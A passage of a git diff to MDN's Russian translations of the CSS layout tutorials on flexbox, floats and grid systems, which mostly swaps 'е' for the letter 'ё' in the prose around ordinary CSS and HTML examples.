современном браузере (Firefox или Chrome), а также в любимом редакторе кода. Также вы можете <a href="http://mdn.github.io/learning-area/css/css-layout/flexbox/flexbox0.html">посмотреть его вживую</a>.</p> -<p>Вы увидите элемент {{htmlelement("header")}} с заголовком верхнего уровня внутри, и элемент {{htmlelement("section")}} содержащий три элемента {{htmlelement("article")}}. Мы будем использовать их для создания стандартного трехколоночного макета.</p> +<p>Вы увидите элемент {{htmlelement("header")}} с заголовком верхнего уровня внутри, и элемент {{htmlelement("section")}} содержащий три элемента {{htmlelement("article")}}. Мы будем использовать их для создания стандартного трёхколоночного макета.</p> <p><img alt="" src="https://mdn.mozillademos.org/files/13406/flexbox-example1.png" style="border-style: solid; border-width: 1px; display: block; height: 324px; margin: 0px auto; width: 800px;"></p> @@ -288,7 +288,7 @@ article:nth-of-type(3) { justify-content: space-around; }</pre> -<p>Наконец, мы устанавливаем размер кнопке, мы даем ему значение flex 1. Это даёт очень интересный эффект, который вы увидите, если попытаетесь изменить размер ширины окна браузера. Кнопки занимают столько места, сколько могут, и сидят на одной линии также, сколько могут. Если же они не могут комфортно расположиться на одной линии, они перепрыгнут на новые строки.</p> +<p>Наконец, мы устанавливаем размер кнопке, мы даём ему значение flex 1. Это даёт очень интересный эффект, который вы увидите, если попытаетесь изменить размер ширины окна браузера. Кнопки занимают столько места, сколько могут, и сидят на одной линии также, сколько могут. Если же они не могут комфортно расположиться на одной линии, они перепрыгнут на новые строки.</p> <pre class="brush: css notranslate">button { flex: 1; @@ -309,6 +309,6 @@ article:nth-of-type(3) { <h2 id="Подытожим">Подытожим</h2> -<p>Мы завершаем нашу статью по основам flexbox. Надеемся, что вам понравилось, и вы хорошо развлечётесь, путешествуя дальше и изучая его. Далее мы рассмотрим еще один важный аспект макетов CSS - grid-системы.</p> +<p>Мы завершаем нашу статью по основам flexbox. Надеемся, что вам понравилось, и вы хорошо развлечётесь, путешествуя дальше и изучая его. Далее мы рассмотрим ещё один важный аспект макетов CSS - grid-системы.</p> <div>{{PreviousMenuNext("Learn/CSS/CSS_layout/Practical_positioning_examples", "Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout")}}</div> diff --git a/files/ru/learn/css/css_layout/floats/index.html b/files/ru/learn/css/css_layout/floats/index.html index 86ff3ac15d..9fc55d47cf 100644 --- a/files/ru/learn/css/css_layout/floats/index.html +++ b/files/ru/learn/css/css_layout/floats/index.html @@ -26,7 +26,7 @@ translation_of: Learn/CSS/CSS_layout/Floats <p>Свойство {{cssxref("float")}} вводилось для того, чтобы разработчики могли включать изображение, с обтеканием текста вокруг него слева или справа, как это часто используется в газетах.</p> -<p>Но разработчики быстро осознали, что можно обтекать все что угодно, не только изображения, поэтому использование float расширилось, например для верстки забавных эффектов таких как <a href="https://css-tricks.com/snippets/css/drop-caps/">drop-caps</a> (буквица).</p> +<p>Но разработчики быстро осознали, что можно обтекать все что угодно, не только изображения, поэтому использование float расширилось, например для вёрстки забавных эффектов таких как <a href="https://css-tricks.com/snippets/css/drop-caps/">drop-caps</a> (буквица).</p> <p>Floats очень часто использовались для создания макетов целых веб-страниц, отображающих несколько колонок информации, обтекаемых так, что колонки располагаются друг за другом (поведение по умолчанию предполагает, что колонки должны располагаются друг за другом, в том же порядке в котором они появляются в источнике). Доступны более новые, лучшие методы и поэтому использование floats для этих целей следует рассматривать как <a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">устаревшей техникой</a>.</p> @@ -34,9 +34,9 @@ translation_of: Learn/CSS/CSS_layout/Floats <h2 id="Простой_пример_float">Простой пример float</h2> -<p>Давайте выясним как использовать floats. Мы начнем с очень простого примера включающего обтекание элемента блоком текста. Вы можете следовать за нами создав новый <code>index.html</code> файл на вашем компьютере, заполнив его <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">простым шаблоном HTML</a>, и вставив код ниже в подходящее место. В конце раздела вы можете увидеть живой пример того, как должен выглядеть финальный код.</p> +<p>Давайте выясним как использовать floats. Мы начнём с очень простого примера включающего обтекание элемента блоком текста. Вы можете следовать за нами создав новый <code>index.html</code> файл на вашем компьютере, заполнив его <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">простым шаблоном HTML</a>, и вставив код ниже в подходящее место. В конце раздела вы можете увидеть живой пример того, как должен выглядеть финальный код.</p> -<p>Во-первых, мы начнем с некоторого простого HTML — добавьте следующее в body вашего HTML, удалив все что там было до этого:</p> +<p>Во-первых, мы начнём с некоторого простого HTML — добавьте следующее в body вашего HTML, удалив все что там было до этого:</p> <pre class="brush: html notranslate"><h1>Simple float example</h1> @@ -175,11 +175,11 @@ translation_of: Learn/CSS/CSS_layout/Floats <p>{{ EmbedLiveSample('Float_2', '100%', 500) }}</p> -<p><a href="/en-US/docs/Web/CSS/Visual_formatting_model#Line_boxes">Линейные блоки</a> нашего последующего элемента были сокращены так что текст располагается вокруг обтекаемого объекта, но из-за того, что обтекаемый объект удаляется из нормального потока блок вокруг параграфа все еще остается в полную ширину.</p> +<p><a href="/en-US/docs/Web/CSS/Visual_formatting_model#Line_boxes">Линейные блоки</a> нашего последующего элемента были сокращены так что текст располагается вокруг обтекаемого объекта, но из-за того, что обтекаемый объект удаляется из нормального потока блок вокруг параграфа все ещё остаётся в полную ширину.</p> <h2 id="Очистка_обтекания">Очистка обтекания</h2> -<p>Мы увидели, что обтекаемый объект удален из нормального потока и что другие элементы будут располагаться за ним, поэтому если мы хотим остановить перемещение следующего элемента нам необходимо очистить его; что достигается при помощи свойства {{cssxref("clear")}}.</p> +<p>Мы увидели, что обтекаемый объект удалён из нормального потока и что другие элементы будут располагаться за ним, поэтому если мы хотим остановить перемещение следующего элемента нам необходимо очистить его; что достигается при помощи свойства {{cssxref("clear")}}.</p> <p>Добавьте класс <code>cleared</code> ко второму параграфу после обтекаемого элемента в ваш HTML из предыдущего примера. Далее добавьте следующий CSS:</p> @@ -243,9 +243,9 @@ translation_of: Learn/CSS/CSS_layout/Floats <li><code>both</code>: очищает любые обтекаемые объекты, слева или справа.</li> </ul> -<h2 id="Очистка_блоков_обернутых_вокруг_обтекаемых_элементов">Очистка блоков обернутых вокруг обтекаемых элементов</h2> +<h2 id="Очистка_блоков_обёрнутых_вокруг_обтекаемых_элементов">Очистка блоков обёрнутых вокруг обтекаемых элементов</h2> -<p>Вы теперь знаете, как очистить что-либо следующее за обтекаемым элементом, но давайте посмотрим, что происходит если у вас имеется высокий обтекаемый объект и короткий параграф с блоком, оборачивающим оба элемента. Измените ваш документ так чтоб первый параграф и наш обтекаемый блок были обернуты в {{htmlelement("div")}} с классом <code>wrapper</code>.</p> +<p>Вы теперь знаете, как очистить что-либо следующее за обтекаемым элементом, но давайте посмотрим, что происходит если у вас имеется высокий обтекаемый объект и короткий параграф с блоком, оборачивающим оба элемента. Измените ваш документ так чтоб первый параграф и наш обтекаемый блок были обёрнуты в {{htmlelement("div")}} с классом <code>wrapper</code>.</p> <pre class="brush: html notranslate"><div class="wrapper"> <div class="box">Float</div> @@ -313,11 +313,11 @@ translation_of: Learn/CSS/CSS_layout/Floats <p>{{ EmbedLiveSample('Float_4', '100%', 600) }}</p> -<p>И еще раз, так происходит потому, что обтекаемый объект изымается из нормального потока. <span class="tlid-translation translation" lang="ru"><span title="">Очистка следующего элемента не помогает с этой проблемой очистки блока, где вы хотите, чтобы нижняя часть блока обернула </span></span>обтекаемый объект и оборачивающий контент даже если контент короче. Существует три потенциальных способа разобраться с этой проблемой, два из которых работают во всех браузерах, но при этом немного хитры и третий новый способ, который <span class="tlid-translation translation" lang="ru"><span title="">правильно справляется с этой ситуацией.</span></span></p> +<p>И ещё раз, так происходит потому, что обтекаемый объект изымается из нормального потока. <span class="tlid-translation translation" lang="ru"><span title="">Очистка следующего элемента не помогает с этой проблемой очистки блока, где вы хотите, чтобы нижняя часть блока обернула </span></span>обтекаемый объект и оборачивающий контент даже если контент короче. Существует три потенциальных способа разобраться с этой проблемой, два из которых работают во всех браузерах, но при этом немного хитры и третий новый способ, который <span class="tlid-translation translation" lang="ru"><span title="">правильно справляется с этой ситуацией.</span></span></p> <h3 id="Clearfix_hack">Clearfix hack</h3> -<p><span class="tlid-translation translation" lang="ru"><span title="">Традиционно эта ситуация решалась с помощью так называемого «clearfix hack».</span></span> Это включает вставку некоторого сгенерированного контента после блока, содержащего обтекаемый объект и оберточный контент, а также настройки для очистки обоих.</p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Традиционно эта ситуация решалась с помощью так называемого «clearfix hack».</span></span> Это включает вставку некоторого сгенерированного контента после блока, содержащего обтекаемый объект и обёрточный контент, а также настройки для очистки обоих.</p> <p>Добавьте следующий CSS в наш пример:</p> @@ -379,9 +379,9 @@ translation_of: Learn/CSS/CSS_layout/Floats <h3 id="Использование_overflow">Использование overflow</h3> -<p>Альтернативный метод — это задать свойство {{cssxref("overflow")}} для обертки (wrapper) на значение отличное от <code>visible</code>.</p> +<p>Альтернативный метод — это задать свойство {{cssxref("overflow")}} для обёртки (wrapper) на значение отличное от <code>visible</code>.</p> -<p>Удалите clearfix CSS который вы добавляли в предыдущей секции и вместо него добавьте <code>overflow: auto</code> к правилу для обертки. Блок снова должен быть очищен.</p> +<p>Удалите clearfix CSS который вы добавляли в предыдущей секции и вместо него добавьте <code>overflow: auto</code> к правилу для обёртки. Блок снова должен быть очищен.</p> <pre class="brush: css notranslate">.wrapper { background-color: rgb(79,185,227); @@ -433,7 +433,7 @@ translation_of: Learn/CSS/CSS_layout/Floats <p>{{ EmbedLiveSample('Float_6', '100%', 600) }}</p> -<p>Этот пример работает путем создания того, что известно как <strong>Блочный Контекст Форматирования (block formatting context </strong>(BFC)<strong>). </strong>Это как мини макет внутри вашей страницы, внутри которого содержится все, следовательно наш обтекаемый элемент находится внутри BFC и фон располагается за обоими элементами. Обычно это будет срабатывать, однако, в определенных случаях вы можете обнаружить нежелательную полосу прокрутки или обрезанные тени из-за <span class="tlid-translation translation" lang="ru"><span title="">непреднамеренный</span></span> последствий использования overflow.</p> +<p>Этот пример работает путём создания того, что известно как <strong>Блочный Контекст Форматирования (block formatting context </strong>(BFC)<strong>). </strong>Это как мини макет внутри вашей страницы, внутри которого содержится все, следовательно наш обтекаемый элемент находится внутри BFC и фон располагается за обоими элементами. Обычно это будет срабатывать, однако, в определённых случаях вы можете обнаружить нежелательную полосу прокрутки или обрезанные тени из-за <span class="tlid-translation translation" lang="ru"><span title="">непреднамеренный</span></span> последствий использования overflow.</p> <h3 id="display_flow-root">display: flow-root</h3> diff --git a/files/ru/learn/css/css_layout/grids/index.html b/files/ru/learn/css/css_layout/grids/index.html index 903cefd2be..931f326250 100644 --- a/files/ru/learn/css/css_layout/grids/index.html +++ b/files/ru/learn/css/css_layout/grids/index.html @@ -46,7 +46,7 @@ translation_of: Learn/CSS/CSS_layout/Grids <h2 id="Создание_простых_рамок_сетки">Создание простых рамок сетки</h2> -<p>Мы начнем с рассмотрения того, как вы можете создать простую сетку для вашего проекта.</p> +<p>Мы начнём с рассмотрения того, как вы можете создать простую сетку для вашего проекта.</p> <p>В настоящее время большинство макетов типа grid создаются с использованием поплавков (floats). Если вы прочитали<a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Floats"> нашу предыдущую статью о поплавках,</a> вы уже видели, как мы можем использовать эту технику для создания раскладки нескольких столбцов, что является сущностью любой сетки, использующей этот метод.</p> @@ -58,7 +58,7 @@ translation_of: Learn/CSS/CSS_layout/Grids <p>Давайте сначала создадим сетку, использующую столбцы фиксированной ширины.</p> -<p>Начните с создания локальной копии нашего образца <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/simple-grid.html">simple-grid.html</a> файла, который содержит следующую разметку в своем теле.</p> +<p>Начните с создания локальной копии нашего образца <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/simple-grid.html">simple-grid.html</a> файла, который содержит следующую разметку в своём теле.</p> <pre class="brush: html notranslate"><div class="wrapper"> <div class="row"> @@ -87,7 +87,7 @@ translation_of: Learn/CSS/CSS_layout/Grids <p><img alt="" src="https://mdn.mozillademos.org/files/13901/simple-grid-finished.png" style="display: block; height: 50px; margin: 0px auto; width: 952px;"></p> -<p>В элементе {{htmlelement ("style")}} добавьте следующий код, который дает контейнеру ширину 980 пикселей с отступом с правой стороны 20 пикселей. Это дает нам 960 пикселей для нашей общей ширины столбца/желоба - в этом случае отступы вычитаются из общей ширины содержимого, потому что мы установили {{cssxref ("box-sizing")}} в рамку по всем элементам на сайте (см. <a href="/en-US/docs/Learn/CSS/Styling_boxes/Box_model_recap#Changing_the_box_model_completely">Changing the box model completely</a> для большего объяснения).</p> +<p>В элементе {{htmlelement ("style")}} добавьте следующий код, который даёт контейнеру ширину 980 пикселей с отступом с правой стороны 20 пикселей. Это даёт нам 960 пикселей для нашей общей ширины столбца/желоба - в этом случае отступы вычитаются из общей ширины содержимого, потому что мы установили {{cssxref ("box-sizing")}} в рамку по всем элементам на сайте (см. <a href="/en-US/docs/Learn/CSS/Styling_boxes/Box_model_recap#Changing_the_box_model_completely">Changing the box model completely</a> для большего объяснения).</p> <pre class="brush: css notranslate">* { box-sizing: border-box; @@ -103,7 +103,7 @@ body { padding-right: 20px; }</pre> -<p>Теперь используйте контейнер строк, который обернут вокруг каждой строки сетки, чтобы очистить одну строку от другой. Добавьте следующее правило ниже предыдущего:</p> +<p>Теперь используйте контейнер строк, который обёрнут вокруг каждой строки сетки, чтобы очистить одну строку от другой. Добавьте следующее правило ниже предыдущего:</p> <pre class="brush: css notranslate">.row { clear: both; @@ -111,9 +111,9 @@ body { <p>Применение этого клиринга означает, что нам не нужно полностью заполнять каждую строку элементами, составляющими полные двенадцать столбцов. Строки будут разделены и не будут мешать друг другу.</p> -<p>Желоба между колоннами шириной 20 пикселей. Мы создаем эти желоба в качестве поля в левой части каждого столбца, включая первый столбец, чтобы сбалансировать 20 пикселей прокладки в правой части контейнера. Таким образом, у нас есть 12 водосточных желобов - 12 x 20 = 240.</p> +<p>Желоба между колоннами шириной 20 пикселей. Мы создаём эти желоба в качестве поля в левой части каждого столбца, включая первый столбец, чтобы сбалансировать 20 пикселей прокладки в правой части контейнера. Таким образом, у нас есть 12 водосточных желобов - 12 x 20 = 240.</p> -<p>Нам нужно вычесть это из нашей общей ширины 960 пикселей, что дает нам 720 пикселей для наших столбцов. Если мы разделим это на 12, мы знаем, что каждый столбец должен быть 60 пикселей в ширину. Наш следующий шаг - создать правило для класса <code>.col</code>, плавающее влево, предоставив ему {{cssxref ("margin-left")}} из 20 пикселей для формирования желоба и {{cssxref ("width" )}} из 60 пикселей. Добавьте нижеследующее правило в CSS:</p> +<p>Нам нужно вычесть это из нашей общей ширины 960 пикселей, что даёт нам 720 пикселей для наших столбцов. Если мы разделим это на 12, мы знаем, что каждый столбец должен быть 60 пикселей в ширину. Наш следующий шаг - создать правило для класса <code>.col</code>, плавающее влево, предоставив ему {{cssxref ("margin-left")}} из 20 пикселей для формирования желоба и {{cssxref ("width" )}} из 60 пикселей. Добавьте нижеследующее правило в CSS:</p> <pre class="brush: css notranslate">.col { float: left; @@ -147,10 +147,10 @@ body { .col.span11 { width: 860px; } .col.span12 { width: 940px; }</pre> -<p>С помощью этих классов мы можем теперь выкладывать разные столбцы ширины в сетке. Попробуйте сохранить и загрузить страницу в своем браузере, чтобы увидеть эффекты.</p> +<p>С помощью этих классов мы можем теперь выкладывать разные столбцы ширины в сетке. Попробуйте сохранить и загрузить страницу в своём браузере, чтобы увидеть эффекты.</p> <div class="note"> -<p><strong>Примечание</strong>: Если вам не удается заставить приведенный выше пример работать, попробуйте сравнить его с нашей <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/simple-grid-finished.html">готовой версией</a> на GitHub (см. также <a href="https://mdn.github.io/learning-area/css/css-layout/grids/simple-grid-finished.html">запуск в режиме реального времени</a>).</p> +<p><strong>Примечание</strong>: Если вам не удаётся заставить приведённый выше пример работать, попробуйте сравнить его с нашей <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/simple-grid-finished.html">готовой версией</a> на GitHub (см. также <a href="https://mdn.github.io/learning-area/css/css-layout/grids/simple-grid-finished.html">запуск в режиме реального времени</a>).</p> </div> <p>Попробуйте изменить классы на своих элементах или даже добавить и удалить некоторые контейнеры, чтобы увидеть, как вы можете изменять макет. Например, вы можете сделать вторую строку следующим образом:</p> @@ -170,7 +170,7 @@ body { <pre class="notranslate">target / context = result</pre> -<p>Для нашей ширины столбца наша <strong>целевая ширина</strong> составляет 60 пикселей, а наш <strong>контекст</strong> 960 пикселей. Для расчета процента мы можем использовать следующее.</p> +<p>Для нашей ширины столбца наша <strong>целевая ширина</strong> составляет 60 пикселей, а наш <strong>контекст</strong> 960 пикселей. Для расчёта процента мы можем использовать следующее.</p> <pre class="notranslate">60 / 960 = 0.0625</pre> @@ -200,7 +200,7 @@ body { <p>Мы не только дали нам процент {{cssxref ("width")}}, мы также добавили свойство {{cssxref ("max-width")}}, чтобы остановить распространение макета.</p> -<p>Затем обновите четвертое правило CSS (с селектором <code>.col</code>) следующим образом:</p> +<p>Затем обновите четвёртое правило CSS (с селектором <code>.col</code>) следующим образом:</p> <pre class="brush: css notranslate">.col { float: left; @@ -209,7 +209,7 @@ body { background: rgb(255, 150, 150); }</pre> -<p>Теперь идет немного более трудоемкая часть - нам нужно обновить все наши правила <code>.col.span</code>, чтобы использовать проценты, а не ширину пикселей. Это занимает немного времени с калькулятором; чтобы сэкономить вам немного усилий, мы сделали это для вас ниже.</p> +<p>Теперь идёт немного более трудоёмкая часть - нам нужно обновить все наши правила <code>.col.span</code>, чтобы использовать проценты, а не ширину пикселей. Это занимает немного времени с калькулятором; чтобы сэкономить вам немного усилий, мы сделали это для вас ниже.</p> <p>Обновите нижний блок правил CSS следующим образом:</p> @@ -231,14 +231,14 @@ body { <p>Теперь сохраните свой код, загрузите его в браузере и попробуйте изменить ширину видового экрана - вы должны увидеть, что ширины столбцов хорошо меняются. Отлично!</p> <div class="note"> -<p><strong>Примечание</strong>: Если вам не удается заставить приведенный выше пример работать, попробуйте сравнить его с нашей <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid.html">готовой версией на GitHub</a> (см. также<a href="https://mdn.github.io/learning-area/css/css-layout/grids/fluid-grid.html"> запуск в режиме реального времени</a>).</p> +<p><strong>Примечание</strong>: Если вам не удаётся заставить приведённый выше пример работать, попробуйте сравнить его с нашей <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid.html">готовой версией на GitHub</a> (см. также<a href="https://mdn.github.io/learning-area/css/css-layout/grids/fluid-grid.html"> запуск в режиме реального времени</a>).</p> </div> <h3 id="Более_простые_вычисления_с_использованием_функции_calc">Более простые вычисления с использованием функции calc()</h3> -<p>Вы можете использовать функцию {{cssxref ("calc ()")}} для выполнения математики прямо внутри вашего CSS - это позволяет вставлять простые математические уравнения в ваши значения CSS, чтобы рассчитать, какое значение должно быть. Это особенно полезно, когда необходимо выполнить сложную математику и вы даже можете сделать расчет, который использует разные единицы, например «Я хочу, чтобы высота этого элемента всегда была на 100% от высоты родителя, минус 50 пикселей». См. <a href="https://developer.mozilla.org/en-US/docs/Web/API/MediaStream_Recording_API/Using_the_MediaStream_Recording_API#Keeping_the_interface_constrained_to_the_viewport_regardless_of_device_height_with_calc()">этот пример из учебника API MediaRecorder</a>.</p> +<p>Вы можете использовать функцию {{cssxref ("calc ()")}} для выполнения математики прямо внутри вашего CSS - это позволяет вставлять простые математические уравнения в ваши значения CSS, чтобы рассчитать, какое значение должно быть. Это особенно полезно, когда необходимо выполнить сложную математику и вы даже можете сделать расчёт, который использует разные единицы, например «Я хочу, чтобы высота этого элемента всегда была на 100% от высоты родителя, минус 50 пикселей». См. <a href="https://developer.mozilla.org/en-US/docs/Web/API/MediaStream_Recording_API/Using_the_MediaStream_Recording_API#Keeping_the_interface_constrained_to_the_viewport_regardless_of_device_height_with_calc()">этот пример из учебника API MediaRecorder</a>.</p> -<p>В любом случае, вернемся к нашим сетям! Любой столбец, который охватывает более одного столбца нашей сетки, имеет общую ширину 6,25%, умноженную на количество столбцов, спаренных плюс 2.08333333%, умноженное на количество желобов (которые всегда будут числом столбцов минус 1). Функция <code>calc () </code>позволяет нам делать это вычисление прямо внутри значения ширины, поэтому для любого элемента, охватывающего 4 столбца, мы можем это сделать, например:</p> +<p>В любом случае, вернёмся к нашим сетям! Любой столбец, который охватывает более одного столбца нашей сетки, имеет общую ширину 6,25%, умноженную на количество столбцов, спаренных плюс 2.08333333%, умноженное на количество желобов (которые всегда будут числом столбцов минус 1). Функция <code>calc () </code>позволяет нам делать это вычисление прямо внутри значения ширины, поэтому для любого элемента, охватывающего 4 столбца, мы можем это сделать, например:</p> <pre class="brush: css notranslate">.col.span4 { width: calc((6.25%*4) + (2.08333333%*3)); @@ -259,11 +259,11 @@ body { .col.span12 { width: calc((6.25%*12) + (2.08333333%*11)); }</pre> <div class="note"> -<p><strong>Примечание</strong>: Вы можете увидеть нашу законченную версию в файле <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid-calc.html">liquid-grid-calc.html</a> (также см. ее <a href="https://mdn.github.io/learning-area/css/css-layout/grids/fluid-grid-calc.html">в режиме реального времени</a>).</p> +<p><strong>Примечание</strong>: Вы можете увидеть нашу законченную версию в файле <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid-calc.html">liquid-grid-calc.html</a> (также см. её <a href="https://mdn.github.io/learning-area/css/css-layout/grids/fluid-grid-calc.html">в режиме реального времени</a>).</p> </div> <div class="note"> -<p><strong>Примечание</strong>: Если вы не можете заставить это работать, возможно, это связано с тем, что ваш браузер не поддерживает функцию <code>calc ()</code>, хотя он довольно хорошо поддерживается в браузерах - еще в IE9.</p> +<p><strong>Примечание</strong>: Если вы не можете заставить это работать, возможно, это связано с тем, что ваш браузер не поддерживает функцию <code>calc ()</code>, хотя он довольно хорошо поддерживается в браузерах - ещё в IE9.</p> </div> <h3 id="Семантические_и_несемантические_сетчатые_системы">Семантические и "несемантические" сетчатые системы</h3> @@ -326,13 +326,13 @@ body { <p>Также имейте в виду, что если содержимое элементов становится шире, чем занимаемые им строки, оно будет переполняться и выглядит как беспорядок.</p> -<p>Самое большое ограничение этой системы состоит в том, что она по существу одномерна. Мы имеем дело со столбцами и охватываем элементы по столбцам, но не по строкам. С помощью этих старых методов компоновки очень сложно контролировать высоту элементов без явной установки высоты, и это тоже очень негибкий подход - он работает только, если вы можете гарантировать, что ваш контент будет определенной высоты.</p> +<p>Самое большое ограничение этой системы состоит в том, что она по существу одномерна. Мы имеем дело со столбцами и охватываем элементы по столбцам, но не по строкам. С помощью этих старых методов компоновки очень сложно контролировать высоту элементов без явной установки высоты, и это тоже очень негибкий подход - он работает только, если вы можете гарантировать, что ваш контент будет определённой высоты.</p> <h2 id="Flexbox_grids">Flexbox grids?</h2> -<p>Если вы прочтете нашу предыдущую статью о <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Flexbox">flexbox</a>, вы можете подумать, что flexbox - идеальное решение для создания сетчатой системы. В настоящее время доступно множество систем gridbox на основе flexbox и flexbox может решить многие из проблем, которые мы уже обнаружили при создании нашей сетки выше.</p> +<p>Если вы прочтёте нашу предыдущую статью о <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Flexbox">flexbox</a>, вы можете подумать, что flexbox - идеальное решение для создания сетчатой системы. В настоящее время доступно множество систем gridbox на основе flexbox и flexbox может решить многие из проблем, которые мы уже обнаружили при создании нашей сетки выше.</p> -<p>Однако flexbox никогда не разрабатывался как сетчатая система и создает новый набор проблем при использовании в качестве одного. В качестве простого примера мы можем использовать тот же пример разметки, который мы использовали выше, и использовать следующий CSS для стилей классов-оболочек (<code>wrapper</code>), <code>row</code> и <code>col</code> классов:</p> +<p>Однако flexbox никогда не разрабатывался как сетчатая система и создаёт новый набор проблем при использовании в качестве одного. В качестве простого примера мы можем использовать тот же пример разметки, который мы использовали выше, и использовать следующий CSS для стилей классов-оболочек (<code>wrapper</code>), <code>row</code> и <code>col</code> классов:</p> <pre class="brush: css notranslate">body { width: 90%; @@ -357,9 +357,9 @@ body { background: rgb(255,150,150); }</pre> -<p>Вы можете попробовать сделать эти замены в своем собственном примере или посмотреть на наш пример кода <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/flexbox-grid.html">flexbox-grid.html </a>(см. также <a href="https://mdn.github.io/learning-area/css/css-layout/grids/flexbox-grid.html">он работает в режиме реального времени</a>).</p> +<p>Вы можете попробовать сделать эти замены в своём собственном примере или посмотреть на наш пример кода <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/flexbox-grid.html">flexbox-grid.html </a>(см. также <a href="https://mdn.github.io/learning-area/css/css-layout/grids/flexbox-grid.html">он работает в режиме реального времени</a>).</p> -<p>Здесь мы превращаем каждую строку в гибкий контейнер. С сеткой на основе flexbox нам все еще нужны строки, чтобы мы могли иметь элементы, которые составляют менее 100%. Мы установили этот контейнер для <code>display: flex</code>.</p> +<p>Здесь мы превращаем каждую строку в гибкий контейнер. С сеткой на основе flexbox нам все ещё нужны строки, чтобы мы могли иметь элементы, которые составляют менее 100%. Мы установили этот контейнер для <code>display: flex</code>.</p> <p>На <code>.col </code>мы устанавливаем первое значение свойства {{cssxref ("flex")}} ({{cssxref ("flex-grow")}}) до 1, чтобы наши объекты могли расти, второе значение ({{cssxref (" flex-shrink ")}}) до 1, поэтому элементы могут сокращаться, а третье значение ({{cssxref (" flex-basis ")}}) - <code>auto</code>. Поскольку наш элемент имеет набор {{cssxref ("width")}}, <code>auto</code> будет использовать эту ширину в качестве базового значения flex (<code>flex-basis</code>).</p> @@ -373,11 +373,11 @@ body { <p>Flexbox является <strong>одномерным</strong> по дизайну. Он имеет дело с одним измерением - со строкой или столбцом. Мы не можем создать строгую сетку для столбцов и строк, что означает, что если мы будем использовать flexbox для нашей сетки, нам все равно нужно рассчитать проценты, как для плавающего макета.</p> -<p>В вашем проекте вы все равно можете использовать сетку flexbox из-за дополнительных возможностей выравнивания и распределения пространства. Flexbox обеспечивает надплавки. Однако вам следует помнить, что вы все еще используете инструмент для чего-то другого, кроме того, для чего он предназначен. Таким образом, вы можете почувствовать, что он заставляет вас прыгать через дополнительные обручи, чтобы получить конечный результат, который вы хотите.</p> +<p>В вашем проекте вы все равно можете использовать сетку flexbox из-за дополнительных возможностей выравнивания и распределения пространства. Flexbox обеспечивает надплавки. Однако вам следует помнить, что вы все ещё используете инструмент для чего-то другого, кроме того, для чего он предназначен. Таким образом, вы можете почувствовать, что он заставляет вас прыгать через дополнительные обручи, чтобы получить конечный результат, который вы хотите.</p> <h2 id="Системы_сторонних_сетей">Системы сторонних сетей</h2> -<p>Теперь, когда мы понимаем математику за нашими расчетами в сетке, мы находимся в хорошем месте, чтобы взглянуть на некоторые из сторонних сетевых систем, которые используются совместно. Если вы ищете «CSS Grid framework» в Интернете, вы найдете огромный список вариантов на выбор. В популярных структурах, таких как <a href="http://getbootstrap.com/">Bootstrap</a> и <a href="https://foundation.zurb.com/">Foundation</a>, есть сетка. Существуют также автономные сетчатые системы, разработанные с использованием CSS или с использованием препроцессоров.</p> +<p>Теперь, когда мы понимаем математику за нашими расчётами в сетке, мы находимся в хорошем месте, чтобы взглянуть на некоторые из сторонних сетевых систем, которые используются совместно. Если вы ищете «CSS Grid framework» в Интернете, вы найдёте огромный список вариантов на выбор. В популярных структурах, таких как <a href="http://getbootstrap.com/">Bootstrap</a> и <a href="https://foundation.zurb.com/">Foundation</a>, есть сетка. Существуют также автономные сетчатые системы, разработанные с использованием CSS или с использованием препроцессоров.</p> <p>Давайте рассмотрим одну из этих автономных систем, поскольку она демонстрирует общие методы работы с сеткой. Сетка, которую мы будем использовать, является частью Skeleton, простой CSS-структуры.</p> @@ -462,28 +462,28 @@ body { <p>Попробуйте сохранить свой HTML-файл и загрузить его в свой браузер, чтобы увидеть эффект.</p> <div class="note"> -<p>Примечание. Если вам не удается заставить этот пример работать, попробуйте сравнить его с нашим <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/html-skeleton-finished.html">html-skeleton-finished.html</a> - файлом (см. также <a href="https://mdn.github.io/learning-area/css/css-layout/grids/html-skeleton-finished.html">в режиме реального времени</a>).</p> +<p>Примечание. Если вам не удаётся заставить этот пример работать, попробуйте сравнить его с нашим <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/html-skeleton-finished.html">html-skeleton-finished.html</a> - файлом (см. также <a href="https://mdn.github.io/learning-area/css/css-layout/grids/html-skeleton-finished.html">в режиме реального времени</a>).</p> </div> <p>Если вы посмотрите в файле skeleton.css, вы увидите, как это работает. Например, у Skeleton определены следующие элементы стиля с добавленными к ним классами «три столбца».</p> <pre class="brush: css notranslate">.three.columns { width: 22%; }</pre> -<p>Весь Skeleton (или любая другая структура сетки) выполняет настройку предопределенных классов, которые вы можете использовать, добавив их в свою разметку. Это точно так же, как если бы вы сами делали расчет этих процентов.</p> +<p>Весь Skeleton (или любая другая структура сетки) выполняет настройку предопределённых классов, которые вы можете использовать, добавив их в свою разметку. Это точно так же, как если бы вы сами делали расчёт этих процентов.</p> -<p>Как вы можете видеть, нам нужно написать очень мало CSS при использовании Skeleton. Он касается всех плавающих для нас, когда мы добавляем классы в нашу разметку. Именно эта способность нести ответственность за компоновку над чем-то еще, что делает использование рамки для сетчатой системы неотразимым выбором!</p> +<p>Как вы можете видеть, нам нужно написать очень мало CSS при использовании Skeleton. Он касается всех плавающих для нас, когда мы добавляем классы в нашу разметку. Именно эта способность нести ответственность за компоновку над чем-то ещё, что 